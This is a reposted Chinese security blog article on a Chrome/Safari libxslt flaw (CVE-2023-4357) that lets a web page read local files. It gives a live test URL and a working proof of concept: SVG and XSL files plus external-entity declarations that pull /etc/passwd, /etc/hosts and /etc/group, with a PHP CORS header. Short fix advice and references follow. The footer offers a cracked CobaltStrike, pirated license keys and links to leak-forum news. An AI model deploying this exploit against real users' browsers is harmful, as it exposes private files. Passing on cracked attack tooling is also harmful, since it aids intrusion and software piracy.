查看原文
其他

Chrome任意文件读取,几乎通杀!!!

刨洞之眼 2023-11-29

The following article is from 甲方叫我安服仔 Author 啊吧啊吧

前言

今年6月份有开发者向 chromium 官方提交了一个任意文件读取漏洞,如果 chrome 使用 -no-sandbox 启动,则可以读取本机任意文件,如果是默认沙箱环境,攻击者可以在 ios (safari/chrome)mac (safari/chrome)android (chrome) 和 samsung tv(默认浏览器)上读取 /etc/hosts/etc/passwd 文件

测试

根据官方公布的 POC,是通过 chromium 中使用的默认 xsl 库 Libxslt 中的 document() 方法读取任意文件

简短描述:Libxslt 是在基于 WebKit 的浏览器(如 chromesafari 等)中默认使用的 XSL 库。Libxslt 允许 XSL document() 方法加载的文档内部存在外部实体。攻击者可以绕过安全限制,从 http(s):// 网址访问 file:// 网址并获取文件访问权限。

开发者提供了一个示例 POC,测试通过微信、抖音之类的 app 直接访问下面的 url 即可触发读取本机的 passwd 文件和 hosts 文件

老外给出的测试 URLhttp://188.68.220.248/js.svg

IOS 微信:

实测微信最新版可以读取到文件内容,据传好像不支持数据外传,我也没测试

POC

SVG 图片,托管在服务器上的某个位置:

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="#"?>

<xsl:stylesheet id="color-change" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

 <xsl:template match="/">
 <svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 1000 1000">
  <foreignObject id="myObj" width="1000" height="1000">
      <div style="font-size:xxx-large" xmlns="http://www.w3.org/1999/xhtml">
   <a href="#">#Copy me#</a><br/>
   XSL: <xsl:value-of select="system-property('xsl:version')"/><br/>
   Vendor: <xsl:value-of select="system-property('xsl:vendor')"/><br/>
   Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')"/><br/>
   document() <xsl:copy-of  select="document('http://host/xsl2.php')"/>
      </div>
  </foreignObject>
 </svg>
 </xsl:template>
</xsl:stylesheet>

主文件(test.svg):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
]>
 

加载 http://host/xsl2.php 的内容(PHP 文件仅用于响应最后一行的 "Cross-Origin-Resource-Sharing: *" HTTP 标头):

<p>
  <p style="border-style: dotted;">/etc/passwd: 
&passwd;
  </p>
 <p style="border-style: dotted;">/etc/hosts:
&hosts;
  </p>
 <p style="border-style: dotted;">/etc/group:
&group;
  </p>
</p>
<?php header("Access-Control-Allow-Origin: *");?>

修复建议

改进沙盒,拒绝对指定文件的读取访问。禁止外部实体使用 file://path 和 \\path URLs

参考链接

https://bugs.chromium.org/p/chromium/issues/detail?id=1458911https://avd.aliyun.com/detail?id=AVD-2023-4357https://chromereleases.googleblog.com/2023/08/stable-channel-update-for-deskthttps://crbug.com/1458911 https://lists.fedoraproject.org/archives/list/package-announce@lists.fedorapr... https://lists.fedoraproject.org/archives/list/package-announce@lists.fedorapr... https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-4357 https://www.debian.org/security/2023/dsa-5479








关注公众号后台回复 0001 领取Windows Proxifier激活码,0002 领取Mac Proxifier激活码,0003 获取无需登录在线即用的New Bing地址,0004 获取CobaltStrike4.9.1破解版,0005 获取VMware Pro 17.5永久Key,0006 获取现代亚洲APT组织TTP报告


加我微信好友,邀请你进交流群





往期推荐



CCTV主站被做黑帽SEO

著名信息泄露论坛breachforums宣布回归

CobaltStrike非注入截屏BOF

【威胁情报】某主流数据库连接软件疑似有在野漏洞利用

最新版Proxifier注册码分享

【复现成功】成功构造poc让微信崩溃了!

【最新消息】CobaltStrike 4.8先别用了!

【突发!】刚刚,阿里部分业务崩了!

ChatGPT严重漏洞!可直接使用GPT-4

现代亚洲APT组织的战术、技术和程序(TTPs)

【0day预警】IP-guard flexpaper 命令执行漏洞

发现新恶意团伙"紫狐"!针对finalshell的供应链事件

《云上攻防》书籍公开

突发!Clash for Windows删库,原因未知!

【突发!】就在刚刚,clash内核也没了!!

文章号,欢迎关注

继续滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存